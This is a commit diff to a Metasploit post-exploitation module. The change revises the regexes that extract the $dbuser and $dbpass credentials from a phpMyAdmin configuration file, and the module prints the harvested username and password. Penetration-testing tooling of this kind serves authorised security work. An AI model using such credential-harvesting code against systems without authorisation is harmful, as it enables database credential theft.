modified regex lines
parent
18ffd36409
commit
dbace01015
|
@ -26,16 +26,14 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_creds(contents)
|
def parse_creds(contents)
|
||||||
db_user = /\$dbuser=['"](.*)['"];/.match(contents)
|
db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
|
||||||
db_pass = /\$dbpass=['"](.*)['"];/.match(contents)
|
db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first
|
||||||
|
|
||||||
unless db_user && db_pass
|
unless db_user && db_pass
|
||||||
print_error("Couldn't find PhpMyAdmin credentials")
|
print_error("Couldn't find PhpMyAdmin credentials")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
db_user = db_user[1]
|
|
||||||
db_pass = db_pass[1]
|
|
||||||
print_good("User: #{db_user}")
|
print_good("User: #{db_user}")
|
||||||
print_good("Password: #{db_pass}")
|
print_good("Password: #{db_pass}")
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue